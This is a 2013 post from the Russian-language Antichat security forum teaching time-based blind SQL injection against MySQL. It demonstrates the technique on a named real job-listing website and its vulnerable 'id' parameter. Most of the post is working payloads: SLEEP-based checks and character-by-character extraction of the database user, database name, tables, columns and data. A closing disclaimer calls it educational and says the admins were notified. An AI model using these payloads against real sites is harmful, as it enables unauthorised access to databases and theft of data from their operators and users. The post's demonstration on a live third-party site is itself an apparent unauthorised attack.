ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

16.09.2013, 17:15
|
|
Guest
Сообщений: n/a
Провел на форуме: 132418
Репутация:
652
|
|
Всем привет!Накидал небольшую заметку о замечательной технике раскрутки слепых SQL инъекций, так называемой Injection Time Based.
Много вопросов по данной теме, постараюсь наглядно объяснить.Многие, кто сталкиваются с данной инъекцией, в основном останавливаются на пол пути.
Данная заметка ориентирована на новичков, дабы исключить все это множество вопросов по данной теме.
Итак,многоуважаемый Dr.Z3r0 в своей статье упоминал о том, как с помощью функции sleep можно посимвольно вытаскивать данные.
Напомню, оператор sleep появился с 5 ветки MySQL. Он создает задержку в ответе веб-сервера, которую мы и используем.
Поехали! Сайт www.cornerjob.co.za/view-job.php?id=678. Уязвимый get-параметр id.
Проверяем: id=678 and sleep(5)
В 1-ом варианте время отклика (response time) небольшое, в то время,как во 2-м случае значительно увеличивается благодаря sleep.
Далее! Опеределим версию mysql (хотя нам она уже известна, так как sleep появился с 5-ой версии). Давайте проверим
Точно так же работаем с user(), database():
id=678 and if(substring(user(),1,1)='a',SLEEP(5),1)
Пару слов о таблицах и колонках:
id=678 and if(substring((select 1 from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где [table_name] - предполагаемое Вами название таблицы.
Если вернется ЛОЖЬ, то ответ сервера будет 0 секунд (все зависит от Вашего канала) и такой таблицы нет.
Если же ИСТИНА, и такая таблица существует, то ответ будет с задержкой в 5 секунд (и более).
С колонками все идентично:
id=678 and if(substring((select substring(concat(1,[column_name]),1,1) from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где [column_name] - предполагаемое Вами название колонки.
И, наконец, достаем данные:
id=678 and if((select mid(column_name,1,1) from table_name limit 0,1)='a',sleep(5),1)
Как только поймете, как это работает - написать скрипт, автоматизирующий данный процесс, не составит труда.
Всем добра
С уважением,YaBtr!
Данная заметка предназначена для использования сугубо в учебных целях. Автор не несет ответственности за использование материала в незаконных целях.
Администрация ресурса была уведомлена о данной уязвимости.
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|